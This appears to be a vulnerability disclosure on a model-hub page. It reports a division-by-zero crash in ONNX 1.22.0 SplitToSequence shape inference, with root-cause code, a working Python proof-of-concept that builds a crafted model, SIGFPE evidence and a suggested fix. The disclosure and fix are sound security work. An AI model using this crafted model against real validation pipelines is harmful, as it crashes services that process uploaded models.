You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

SIGFPE (integer division-by-zero) in ONNX shape inference for SplitToSequence via scalar split=0

Summary

A crafted ONNX model containing a single SplitToSequence node with an optional split input provided as a scalar int64/int32 initializer whose value is 0 triggers an integer modulo-by-zero during shape inference, killing the host process with SIGFPE (signal 8). Both public, untrusted-model entry points reach the crash:

  • onnx.shape_inference.infer_shapes(model, strict_mode=True)
  • onnx.checker.check_model(model, full_check=True)

This is a denial-of-service in any service that runs ONNX shape inference or the full model checker over attacker-supplied models (a common validation step in model registries, conversion pipelines, and inference servers).

Affected target

  • Project: onnx/onnx
  • Version: 1.22.0 (latest release at time of report)
  • Git tag / commit: v1.22.0 β€” 2bb50465112feca9003e1ed654d77f01ff1415ca
  • File: onnx/defs/sequence/utils.cc (SplitToSequence shape-inference helper)

Root cause

In the SplitToSequence shape-inference logic, when the optional split input is a scalar initializer (dims=[]), the code parses its single value into splitSizes and guards only against an empty vector. A scalar split=0 yields splitSizes = [0], which passes the empty check. Execution then reaches the scalar branch (splitShape.dim_size() == 0) and computes splitDimValue % splitSizes[0] with splitSizes[0] == 0. There is no check that the scalar chunk size is > 0, so this is an integer modulo-by-zero.

onnx/defs/sequence/utils.cc (lines ~108-138):

std::vector<int64_t> splitSizes;
if (splitInitializer->data_type() == TensorProto::INT64) {
  const auto data = ParseData<int64_t>(splitInitializer);
  splitSizes.insert(splitSizes.end(), data.begin(), data.end());
} else if (splitInitializer->data_type() == TensorProto::INT32) {
  const auto data = ParseData<int32_t>(splitInitializer);
  splitSizes.insert(splitSizes.end(), data.begin(), data.end());
} else {
  fail_shape_inference("Only supports `int32_t` or `int64_t` inputs for split");
}

if (splitSizes.empty()) {                         // <-- only guards EMPTY
  fail_shape_inference("Input 'split' can not be empty.");
}

const auto& splitDim = inputShape.dim(axis);
if (!splitDim.has_dim_value()) {
  return -1;
}

int64_t splitDimValue = splitDim.dim_value();
const auto& splitShape = getInputShape(ctx, 1);
if (splitShape.dim_size() == 0) {
  // split is scalar
  if (splitDimValue % splitSizes[0] == 0) {       // <-- LINE 134: % 0 when split value is 0  --> SIGFPE
    return splitSizes[0];
  }
  return -1;
}

The missing guard is a positivity/zero check on the divisor (splitSizes[0]), not a size-mismatch check. ParseData's element-count validation does not help here: a scalar tensor (dim product = 1) that stores a single value of 0 is perfectly consistent, so it passes ParseData cleanly. The zero only becomes fatal at the % operation.

Not a duplicate of the classic ParseData OOB

In 1.22.0 ParseData is hardened (it validates data.size() == dim_product), which is why OneHot-style [0]-indexing / OOB reads via TopK etc. are no longer reachable. This SplitToSequence bug is a separate, distinct division-by-zero: the divisor simply lacks a zero guard. It is a different operator and a different bug class from previously reported ONNX shape-inference issues (OneHot, TreeEnsemble, Upsample, FunctionProto, Einsum, extractor β€” all OOB reads / null-derefs).

Proof of concept

sts_poc.py builds a model with one SplitToSequence node, axis=0:

  • data β€” float tensor value_info with a known dim value, shape [6] (so splitDim.has_dim_value() is true).
  • split β€” scalar int64 initializer (dims=[]) with the value taken from the CLI arg (so getInputData(1) returns it and splitShape.dim_size() == 0).
import sys, onnx
from onnx import helper, TensorProto
import onnx.shape_inference as si

def build(split_value):
    data_vi = helper.make_tensor_value_info("data", TensorProto.FLOAT, [6])
    split_init = helper.make_tensor("split", TensorProto.INT64, [], [split_value])
    node = helper.make_node("SplitToSequence", ["data", "split"], ["seq"], axis=0)
    g = helper.make_graph([node], "g", [data_vi], [], initializer=[split_init])
    m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 18)])
    m.ir_version = 9
    return m

if __name__ == "__main__":
    v = int(sys.argv[1])
    m = build(v)
    print(f"[built] SplitToSequence, scalar split={v}, data dim=6", flush=True)
    out = si.infer_shapes(m, strict_mode=True)
    print("[ok] infer_shapes returned normally; output types:", flush=True)
    for vi in out.graph.value_info:
        print("   ", vi.name, vi.type)
    print("[done]", flush=True)

sts_checker.py exercises the second entry point (check_model(full_check=True)) with scalar split=0.

Run:

python sts_poc.py 2     # NEGATIVE CONTROL β€” returns normally
python sts_poc.py 0     # POC via infer_shapes β€” SIGFPE
python sts_checker.py   # POC via check_model(full_check=True) β€” SIGFPE

Captured evidence (verbatim)

Environment: onnx 1.22.0, CPython 3.13, Linux x86_64.

Negative control β€” scalar split=2 (no crash)

$ python sts_poc.py 2
[built] SplitToSequence, scalar split=2, data dim=6
[ok] infer_shapes returned normally; output types:
    seq sequence_type {
  elem_type {
    tensor_type {
      elem_type: 1
      shape {
        dim {
          dim_value: 2
        }
      }
    }
  }
}
[done]
exit=0

POC via infer_shapes β€” scalar split=0

$ python sts_poc.py 0
[built] SplitToSequence, scalar split=0, data dim=6
exit=136          # 128 + 8 = SIGFPE

A subprocess wrapper confirms: child terminated by signal 8 (SIGFPE).

POC via check_model(full_check=True) β€” scalar split=0

$ python sts_checker.py
calling check_model full_check=True
exit=136          # SIGFPE

gdb backtrace

Thread 1 "python" received signal SIGFPE, Arithmetic exception.
#0  0x00007ffff6af9f78 in ?? () from .../onnx/onnx_cpp2py_export.abi3.so
#3  0x00007ffff6b706f2 in onnx::shape_inference::InferShapes(onnx::ModelProto&, ...)
      from .../onnx_cpp2py_export.abi3.so

Impact

Denial of service (hard process crash via SIGFPE) reachable from a single malicious model file through the two standard untrusted-model validation APIs (infer_shapes with strict_mode, and check_model with full_check). Any pipeline that shape-infers or fully-checks user-uploaded ONNX models can be crashed with a tiny crafted model.

Suggested fix

Add a positivity guard on the scalar split value before the modulo, e.g.:

if (splitShape.dim_size() == 0) {
  if (splitSizes[0] <= 0) {
    fail_shape_inference("Scalar 'split' value must be greater than 0.");
  }
  if (splitDimValue % splitSizes[0] == 0) {
    return splitSizes[0];
  }
  return -1;
}

Dedup / prior-work note

Distinct operator and bug class from prior ONNX shape-inference findings (OneHot, TreeEnsemble, Upsample, FunctionProto, Einsum, extractor β€” all OOB reads / null-derefs). This is an integer division-by-zero (SIGFPE), not the classic ParseData-empty OOB, which is already hardened in 1.22.0. No known CVE covers the SplitToSequence scalar-split=0 divisor.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support